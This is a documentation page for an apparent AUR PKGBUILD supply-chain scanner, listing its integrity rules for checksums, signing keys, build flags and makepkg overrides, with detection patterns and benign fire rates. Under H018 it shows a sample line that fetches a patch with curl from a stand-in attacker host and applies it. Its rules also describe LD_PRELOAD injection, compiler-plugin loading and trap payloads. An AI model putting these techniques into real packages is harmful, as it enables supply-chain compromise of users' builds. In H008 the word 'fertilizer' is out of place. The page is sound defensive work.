Integrity and Verification¶
A verification the recipe carried is weakened, removed, or cannot cover what it claims to. The checksum rules (H001, H002, C001 to C005) and the signature rules (H005, H024, H078) are the core; the build-flag rules (H008, R049, R050, H025, H047, H079) are the same claim applied to mitigations rather than to sources.
The asymmetry is deliberate throughout. Declaring verification costs an attacker nothing, so a declaration is reported at weight 0 as a P-series fact. Removing verification is a change to the recipe's own prior behaviour, which is evidence, so it scores. See B10.
See the rule system reference for the field table, the severity weights and the reserved identifier ranges.
Rules on this page¶
| Rule | Name | Severity |
|---|---|---|
| C001 | Checksum Changed Without Source Change With Stable Version | HIGH |
| C002 | Checksum Updated With Version Bump | INFO |
| C003 | Source URL Changed Without Version Bump | INFO |
| C004 | Checksum Removed For Unchanged Source | CRITICAL |
| C005 | Binary Artifact From Untrusted Source | MEDIUM |
| C008 | Unread Content Moved Under A Stable Version | HIGH |
| C009 | Unread Content Moved With The Version | INFO |
| H001 | Checksum Disabled | HIGH |
| H002 | Checksum Emptied | HIGH |
| H005 | validpgpkeys Added | MEDIUM |
| H008 | Suspicious Environment Variable | MEDIUM |
| H018 | Patch Applied From Outside The Build Tree | HIGH |
| H019 | Source URL Downgraded To HTTP | MEDIUM |
| H024 | GPG Verification Removed | HIGH |
| H025 | Build Environment Subversion | HIGH |
| H033 | Moved Git Ref | HIGH |
| H047 | Security-Relevant Build Flag Change | HIGH |
| H066 | Embedded Binary In Tree | HIGH |
| H070 | Archive Trailer Anomaly | HIGH |
| H078 | Signing Key Set Changed | HIGH |
| H079 | Build Flags Weakened | HIGH |
| H087 | Recipe Changed Without Upstream | MEDIUM |
| H091 | Checksum Array Shorter Than Source Array | HIGH |
| H092 | Metadata Names A Source The Recipe Does Not | HIGH |
| H096 | Download Agent Override | MEDIUM |
| H097 | Function Shadowing | HIGH |
| R049 | Compiler Plugin Or Loader Override | MEDIUM |
| R050 | Compiler Hardening Disabled | MEDIUM |
| R078 | Compression Command Override | MEDIUM |
| R091 | Privilege Escalation Override | HIGH |
| R099 | Trap Statement | MEDIUM |
| R104 | Error Handling Suppressed | HIGH |
H001: Checksum Disabled¶
- Target: programmatic (not TOML-configurable)
- Severity: HIGH (weight 25), downgraded to INFO (weight 0) if justified
- Category:
integrity - Condition: Fires when
sha256sums=SKIPappears in the diff. - Justification: Severity is downgraded to INFO if the diff contains a VCS source (
git+https://,.git), a signature file (.sig,.asc),validpgpkeysdeclaration, or DKMS reference. Justification checked viais_skip_justified()insrc/trustsight/differ.py. - Note: Hard-coded in
src/trustsight/analysis/structural.py. Cannot be disabled throughrules.tomlbecause checksum integrity is foundational to the scoring model.
H002: Checksum Emptied¶
- Target: programmatic (not TOML-configurable)
- Severity: HIGH (weight 25)
- Category:
integrity - Condition: Fires when
sha256sums=()appears in the diff (array set to empty). - Note: Hard-coded in
src/trustsight/analysis/structural.py. Cannot be disabled throughrules.toml.
H005: validpgpkeys Added¶
H005 is retained as a documentation anchor for a retired rule. It is not in the
shipped ruleset and emits no finding. A post-diff validpgpkeys declaration is
reported as P002 at weight 0; changes to an existing signing-key set are
handled by H078, and removal is handled by H024.
H008: Suspicious Environment Variable¶
- Target:
raw_line - Severity: MEDIUM (weight 15)
- Category:
build - Pattern:
(?:CFLAGS|CXXFLAGS|LDFLAGS)\s*=\s*"[^"] - Description: Detects a quoted build-flag assignment that does not begin with an empty string, the shape of a fertilizer injected into an existing flags string (e.g.
CFLAGS="$(…)"carries a substitution). Pairs with the R049/R050 compiler-flag rules in the expanded scope, which match the+=form.
C001: Checksum Changed Without Source Change With Stable Version¶
- Severity: HIGH (weight 25)
- Condition:
sha256sumsvalue changed (added or modified), no source URLs were added or removed, andpkgverdid not change. - Description: A checksum changed with no corresponding version or source change is anomalous. It suggests the tarball content changed without an upstream version bump, which is a red flag for supply-chain compromise.
C002: Checksum Updated With Version Bump¶
- Severity: INFO (weight 0)
- Condition:
sha256sumsvalue changed (added or modified), no source URLs were added or removed, andpkgverdid change. - Description: Normal during routine version bumps. Recorded for audit trail; contributes no weight.
C003: Source URL Changed Without Version Bump¶
- Severity: INFO (weight 0)
- Condition: Source URLs were both added and removed (the sets differ) and
pkgverdid not change. - Description: Source URLs swapped without a version bump is noteworthy but not necessarily malicious. Recorded for audit trail; contributes no weight.
C004: Checksum Removed For Unchanged Source¶
- Severity: CRITICAL (weight 40)
- Condition: A checksum array line is deleted, no replacement checksum line is added, and the source URL set is unchanged.
- Description: Distinct from H002 (
sha256sums=()added, array emptied in place): here the declaration disappears from the file entirely, leaving makepkg with nothing to verify against a source that itself did not change. Detected bydetect_checksum_removed()insrc/trustsight/differ.py.
C005: Binary Artifact From Untrusted Source¶
- Severity: MEDIUM (weight 15)
- Condition: An added source URL points at an executable artifact (
.bin,.exe,.elf,.so,.dll,.dylib,.AppImage,.deb,.rpm,.apk,.msi,.jar,.run) and its bucket is neithertrusted_forgenorofficial. - Description: A prebuilt binary cannot be reviewed from the PKGBUILD, so its provenance is the only available evidence. Restricted to untrusted buckets deliberately:
-binpackages repackaging a GitHub release are a large fraction of the AUR and firing on all of them would make the rule pure noise.
C008: Unread Content Moved Under A Stable Version¶
- Severity: HIGH (weight 25)
- Condition: A submodule gitlink or a Git-LFS object id changed, and
pkgver/pkgrel/epochdid not.
The upstream-payload gap is real: a checksummed tarball's bytes are not in the diff, so a recipe can look untouched while the code it builds is replaced. What is in the diff is the carrier's identity - the checksum, the commit, the object id - and a change to that with no version change is the same event H033 already claims for a git ref and C001 for a checksum.
Two carriers had no such claim. A submodule gitlink names code the repository does not contain; an LFS pointer names bytes that are not there either. Moving one is a content change with no content in the diff, which is exactly the shape that reads as "nothing happened".
The version distinguishes the two readings, as it does for H033: an upstream bump moves the pointer and the version, while moving it under a stable version means anyone who already built this version gets different code than anyone who builds it now.
C009: Unread Content Moved With The Version¶
- Severity: INFO (weight 0)
- Condition: The same carriers as C008, moving alongside a version bump.
The ordinary reading, reported so that the pair is visible rather than only the alarming half. A reader comparing two revisions can see that the bytes behind the pointer changed even though no content appears in the diff.
R049: Compiler Plugin Or Loader Override¶
- Target:
raw_line - Severity: MEDIUM (weight 15)
- Category:
build - Pattern:
\b(?:CFLAGS|CXXFLAGS|LDFLAGS)\s*\+?=.*(?:-fplugin=|-Wl,--dynamic-linker=) - Description:
-fplugin=loads an arbitrary shared object into the compiler;-Wl,--dynamic-linker=changes which loader the produced binary uses. Both alter the build without touching any source file.
R050: Compiler Hardening Disabled¶
- Target:
raw_line - Severity: MEDIUM (weight 15)
- Category:
build - Pattern:
\b(?:CFLAGS|CXXFLAGS|LDFLAGS)\s*\+?=.*(?:-fno-stack-protector|-z\s*execstack) - Description: Detects removal of stack-protector or NX protections from the build flags.
H018: Patch Applied From Outside The Build Tree¶
- Target: programmatic (resolved command lines)
- Severity: HIGH (weight 25)
- Category:
integrity - Description:
patchorgit applyinside a build function takes its input from a URL, an absolute path, or process substitution.
patch -p1 < <(curl https://evil.example/x.patch) # fires
patch -p1 -i /tmp/x.patch # fires
patch -p1 -i "$srcdir/fix.patch" # does not fire
This rule deliberately does not check membership of source=(). Patches routinely arrive inside the extracted tarball, so absence from source=() does not mean a patch is undeclared, and no static check can separate the two. That broader form was measured at 2.13 % of benign diffs; asking where the input comes from instead measures 0.00 %.
H019: Source URL Downgraded To HTTP¶
- Target: programmatic (diff-aware)
- Severity: MEDIUM (weight 15)
- Category:
network - Description: A URL declared in
source=()ashttps://before the diff appears ashttp://after it, with the same host and path. Plain http was never upgraded; this is a URL that lost its transport security.
Distinguishing a downgrade from a URL that was always http needs both sides of the diff, which is why extract_source_array_urls() takes a side parameter.
H024: GPG Verification Removed¶
- Target: programmatic (diff-aware)
- Severity: HIGH (weight 25) - corpus rate 0.03 %
- Category:
integrity - Condition:
validpgpkeyswas populated before the diff and is emptied or removed after - the package previously verified upstream signatures and now does not.
This is the exact inverse of the declared evidence. detect_verification_evidence
emits P002 at weight 0 when signatures are present, reporting the claim without
crediting it; H024 adds a scoring signal when that protection is removed.
The asymmetry is deliberate: declaring verification costs an attacker nothing,
but removing it is a change to the recipe's own prior behaviour, which is
evidence. Dropping GPG verification is a strong supply-chain signal with
near-zero benign rate: maintainers almost never remove working signature
verification.
Origin: npm registry signatures and pnpm's verifyStoreIntegrity - both
tools treat a dropped integrity check as a critical signal. npm's audit
signatures command rejects packages whose registry ECDSA signature is missing
or mismatched; pnpm's content-addressable store refuses to link corrupted
files. H024 is the AUR analogue: validpgpkeys being removed means the
package dismantled a verification layer it previously had.
Scope: DELTA-scoped - fires on validpgpkeys transitioning from
populated to empty/absent, following the same structure as
detect_checksum_changes and detect_checksum_removed in differ.py.
H025: Build Environment Subversion¶
- Target: programmatic (resolved lines, position-scoped)
- Severity: HIGH (weight 25) for
LD_PRELOAD/LD_LIBRARY_PATH; MEDIUM (weight 15) forCFLAGS/LDFLAGS/MAKEFLAGS/PATH- corpus rate 0.25 % (all HIGH; MEDIUM not observed) - Category:
build - Condition: The diff modifies
LD_PRELOAD,LD_LIBRARY_PATH,CFLAGS,LDFLAGS,MAKEFLAGS, orPATHinside a build function (prepare/build/package).
Injecting a malicious object via LD_PRELOAD/LDFLAGS, or redirecting the
compiler/linker via PATH, is a classic build-time attack - the untrusted
input silently subverts the build.
Predicate discipline - the position+delta scope is essential: CFLAGS
and MAKEFLAGS appear in a large fraction of benign PKGBUILDs (makepkg
sets them routinely; many packages tweak them legitimately). Matching their
presence file-wide would be a census - the C001 mistake repeated. The
signal is: the variable is modified in the diff (delta, not presence),
inside a build-function body (position), on resolved lines (post
variable-expansion, so obfuscation cannot hide it).
The split severity reflects the benign rate: LD_PRELOAD and
LD_LIBRARY_PATH are almost never legitimate inside a PKGBUILD build
function; CFLAGS/LDFLAGS/MAKEFLAGS/PATH have legitimate uses and may
need the corpus to set the right severity level.
Origin: Nix's build sandbox (denies build processes all network and only
exposes declared inputs) and cargo-crev's build.rs scrutiny (flags crates
that run arbitrary code at build time). Both recognise that untrusted inputs
subverting the build is the attack surface Nix closes and Cargo leaves open.
LD_PRELOAD/LD_LIBRARY_PATH mutation inside a build function is the AUR
equivalent of a build.rs that downloads and executes a binary.
H033: Moved Git Ref¶
- Target: programmatic (
analysis/network.py) - Severity: HIGH (weight 25) when a tag anchor is unchanged, MEDIUM (weight 15) otherwise
- Category:
integrity - Condition: Either the repository's commit pin moved while the declared version did not, or a digest
#commit=was replaced by a movable#tag=/#branch=.
A tag is a name upstream can repoint at will, so "the same tag" is not the same code twice. TrustSight never resolves a tag against the network (see the security model), so the rule works from declared facts: the commit a recipe pins, and the version it claims.
- Ref moved under a stable version. The
#commit=/#revision=digest changed, in the source fragment or in the_commit-family variable feeding it, whilepkgver,pkgrel,epochand the declared tag did not. Anyone who built this version yesterday has different code from anyone who builds it today, under one version string. - Pin loosened. A digest became a tag or a branch. This is reported even during a version bump: dropping the pin is the change.
HIGH needs a tag anchor that is provably unchanged, which is literally "this tag now resolves to a different commit". The reverse direction, a tag being replaced by a digest, is tightening and stays quiet. A digest variable that feeds a patch URL rather than a git ref is not a checkout pin, and the edit it belongs to is C003's neutral fact.
Fire rate: 4 of 3246 benign diffs (0.12 %), all maintainers tracking a moving patch branch under a fixed version, which is the shape the rule describes.
H066: Embedded Binary In Tree¶
- Severity: HIGH (weight 25)
- Category:
integrity - Condition: A file in the repository tree carries ELF magic (
\x7fELF) and is not a declaredsource=filename.
H066 has two variants that split by evidence and never double-fire. H066-tree
is this one: it needs the file manifest, so it runs on the git path, where the
clone is always available, and on the corpus path when the AUR snapshot tarball
was fetched. When the corpus path has no snapshot, the result reports
tree_analyzed = false rather than reading as a full-coverage UNFLAGGED result.
H066-blob, an ELF blob encoded inside the PKGBUILD, is H068 with a magic
check, so an encoded ELF fires H068.
Does not fire on: a -bin/-appimage/-wine package whose binary arrives via
a declared source=, or on icons, fonts, .desktop files and test fixtures.
H070: Archive Trailer Anomaly¶
- Severity: HIGH (weight 25)
- Category:
integrity - Condition: An archive carries data past its declared trailer (gzip, tar or zip).
H070 is a pure function over bytes (check_archive_trailer). It is wired on
the corpus-side AUR snapshot path, where fetch_pkgbuild_with_tree already
has the tarball bytes and the analysis pipeline can surface the finding
without fetching any PKGBUILD-supplied URL.
That is deliberate rather than incomplete. Fetching what a PKGBUILD points at would add an SSRF primitive, tell the attacker who scanned them, and break the one-host boundary the security model enforces. The only bytes TrustSight feeds to H070 are the AUR's own snapshot tarball bytes, corpus-side, where downloads are centralised and distributed as facts.
H078: Signing Key Set Changed¶
- Severity: HIGH (weight 25) on replacement, MEDIUM (weight 15) on addition, INFO (weight 0) on introduction
- Category:
integrity - Condition:
validpgpkeysgains a fingerprint.
Whoever holds a key in validpgpkeys can ship code to every user of the
package, so the set changing is a trust change that the diff states outright.
H024 owns the removal case, verification being taken away. H078 owns the other
two: a key replaced (one fingerprint out, a different one in) means the same
sources are now trusted under a different holder, and a key added to an
existing set widens who may sign. Introducing validpgpkeys where there was
none is signature checking being switched on, so it is reported as a neutral
fact rather than as a finding against the package.
Fire rate: 6 of 3246 (0.18 %), two introductions and four upstream key rotations.
H079: Build Flags Weakened¶
- Severity: HIGH (weight 25) when a mitigation is switched off, MEDIUM (weight 15) on a top-level replacement
- Category:
integrity - Condition: A recipe line assigns
CFLAGS,CXXFLAGS,CPPFLAGS,LDFLAGS,RUSTFLAGSorMAKEFLAGSeither to a value naming a disabling flag (-fno-stack-protector,-D_FORTIFY_SOURCE=0,-U_FORTIFY_SOURCE,-no-pie,-Wl,-z,norelro, ...) or, at the top level, to a literal set that does not reference the variable it replaces.
makepkg exports a hardened flag set. A recipe that appends to it keeps those mitigations; one that assigns over it drops every mitigation the distribution configured, and one that spells out a disabling flag drops a named one. Either way the installed binary is built with weaker mitigations than the same source built through the normal path, and no package metadata says so.
H025 already reports that a build function modified the environment, which is
the weaker claim, so H079 does not restate it: the MEDIUM branch is top-level
only, where H025 is blind and where the assignment also runs at parse time. A
value carrying no literal flag (CFLAGS="${_cflags[@]}") is a set this rule
cannot read, so it says nothing about it. Only the recipe's own lines count; a
vendored Makefile inside a shipped patch is not the packager's assignment.
Fire rate: 3 of 3246 (0.09 %), all one wine package that genuinely disables FORTIFY_SOURCE.
H047: Security-Relevant Build Flag Change¶
- Severity: HIGH (weight 25) when a flag was dropped, MEDIUM (weight 15) when one appeared
- Category:
build - Condition: A long-stable
configure_flagsset changed, and the change touches[patterns] security_relevant_flags.
Dropping a hardening flag is the weightier direction, because it removes a mitigation the package had.
H087: Recipe Changed Without Upstream¶
- Severity: MEDIUM (weight 15)
- Category:
integrity - Condition: A dependency array changed and a build function changed, while
source=, every*sums=array andpkgverdid not.
The June 2026 AUR campaign did not touch the upstream software. It edited the build recipe and nothing else, so a reviewer reading source URLs and checksums - the fields that usually carry a supply-chain change - saw a package whose upstream was provably identical to the version they already trusted.
H087 names that shape directly: the recipe moved and upstream did not. The
conjunction is what makes it specific. Any edit to source=, a checksum array
or pkgver means the package points at different upstream bytes, which is an
ordinary update however much else changed with it, and H087 stays silent.
Both halves of the recipe have to move, and that is measured rather than
assumed. Against the 3,246-diff locked benign corpus: deps or build fires on
11.53%, deps only on 4.36%, build only on 5.75%, and deps and build on
1.42%. The disjunction passes the 30% ceiling comfortably, but it is eight
times the noise for no additional detection - the campaign changed both,
because a new build dependency is useless without a build step that invokes
it. The conjunction also keeps H087 off two neighbours: a dependency added
with no build change is a packaging fix, and a build function edited with no
dependency change is H015, which is INFO precisely
because it fires on 21.4% of benign diffs.
It is MEDIUM because the shape is not exclusively malicious: a dependency correction that also adjusts a build step is an ordinary packaging change. What is unusual is a recipe-only change on a package that was just adopted and whose build now fetches unpinned code, which is H088.
H091: Checksum Array Shorter Than Source Array¶
- Severity: HIGH (weight 25)
- Category:
integrity - Condition: A wholly-added
source=()with more elements than a wholly-added*sums=()in the same diff.
makepkg pairs source=() with each *sums=() by position, and no rule
looked at the two lengths together. A source slipped in beside a checksum
list nobody recounted scored nothing but priors - the array declares
verification for the entries it covers and says nothing about the one added
past its end.
A diff shows a hunk, not a file. An array that opens on a + line and
continues through unchanged entries is only partly visible. The rule reads an
array only when it opens and closes inside added lines with no context line
between; anything else is not something the diff knows.
name::url is one source. makepkg's rename form
("$_pkgsrc"::"git+$url.git") is a single element. Elements are split on
unquoted whitespace, not by a token pattern.
Zero occurrences in the 3,246-diff benign corpus.
H092: Metadata Names A Source The Recipe Does Not¶
- Severity: HIGH (weight 25)
- Category:
integrity - Condition: A URL host appearing in
.SRCINFOthat appears nowhere in the PKGBUILD.
.SRCINFO is generated from the PKGBUILD, and the analysis prefers it
wherever it is richer - structured depends, expanded sources. That
preference is trust, and nothing compared the two. A .SRCINFO naming a
source the recipe does not was simply believed, and an AUR helper resolving
dependencies from the metadata while makepkg builds from the recipe are
reading two different descriptions of the same package.
The comparison is by host, not by URL. A PKGBUILD writes
source=("$url/archive/v$pkgver.tar.gz") and .SRCINFO carries the expanded
result, so comparing URLs would report every package in the ecosystem. The
host survives expansion because it comes from url= or from a literal in
the array either way.
Measured across 50 real AUR repositories, no package has a .SRCINFO host
its PKGBUILD does not also name.
R078: Compression Command Override¶
- Severity: MEDIUM (weight 15)
- Category:
build - Pattern:
(?:^|\s|\+)(?:export\s+|declare\s+-x\s+)?COMPRESS(?:ZST|XZ|GZ|BZ2|LZ4|LRZ|LZO|LZ|Z)\s*\+?= - Condition: Assignment to any
COMPRESS*variable (COMPRESSZST,COMPRESSXZ,COMPRESSGZ,COMPRESSBZ2,COMPRESSLZ4, etc.).
These variables control makepkg's archive compression command. Overriding them can pipe decompressed content through an arbitrary binary. Legitimate uses are rare (custom compression tuning for size/performance).
Fire rate: ~0.08% on the 3,246-diff benign corpus.
R091: Privilege Escalation Override¶
- Severity: HIGH (weight 25)
- Category:
build - Pattern:
(?:^|\s|\+)(?:export\s+|declare\s+-x\s+)?PACMAN_AUTH\s*\+?= - Condition: Assignment to
PACMAN_AUTH.
This variable controls how pacman gains elevated privileges during
makepkg -S. Overriding it in a PKGBUILD means the package is trying
to control privilege escalation on the builder's machine.
Fire rate: 0% on the 3,246-diff benign corpus.
R099: Trap Statement¶
- Severity: MEDIUM (weight 15)
- Category:
build - Pattern:
^(?:\+)?\s*trap\s+ - Condition: Any
trapstatement in the PKGBUILD.
trap registers signal handlers. In a PKGBUILD it can suppress errors
(trap '' ERR), run code on build completion (trap 'payload' EXIT),
or perform legitimate cleanup. Legitimate cleanup traps exist but are
uncommon enough to flag.
Fire rate: ~0.80% on the 3,246-diff benign corpus. Excludes when R104 already claimed the more specific form.
R104: Error Handling Suppressed¶
- Severity: HIGH (weight 25)
- Category:
build - Pattern:
trap '' (?:ERR|DEBUG)(?:[^a-zA-Z]|$) - Condition:
trap '' ERRortrap '' DEBUG.
Suppresses error handling (ERR) or trace output (DEBUG), hiding
build failures from the reviewer. These are subsets of R099 but carry
higher severity because they actively conceal activity. Only the
single-quote form is common; the double-quote form is rare and already
caught by R099.
Must come before R099 in the rule set so the more specific match fires first.
H096: Download Agent Override¶
- Severity: MEDIUM (weight 15)
- Category:
network - Condition:
DLAGENTSis assigned or appended to.
DLAGENTS controls how makepkg fetches sources for each protocol.
Overriding it in a PKGBUILD redirects all source downloads through the
attacker's chosen binary. Any change to DLAGENTS is flagged: legitimate
recipes do not modify it.
Fire rate: ~1.55% on the 3,246-diff benign corpus.
H097: Function Shadowing¶
- Severity: HIGH (weight 25)
- Category:
integrity - Condition: A function or variable is redefined that suppresses or hijacks makepkg logic.
Redefining msg(), error(), or die() suppresses build output.
Redefining cd() hijacks the working directory. Redefining .()
redirects file inclusion. No benign PKGBUILD does any of these.
Covers shell builtins, makepkg helpers, and common utilities. PKGBUILD
array variables (source, sha256sums, depends, etc.) are excluded
because source=() is a legitimate array declaration.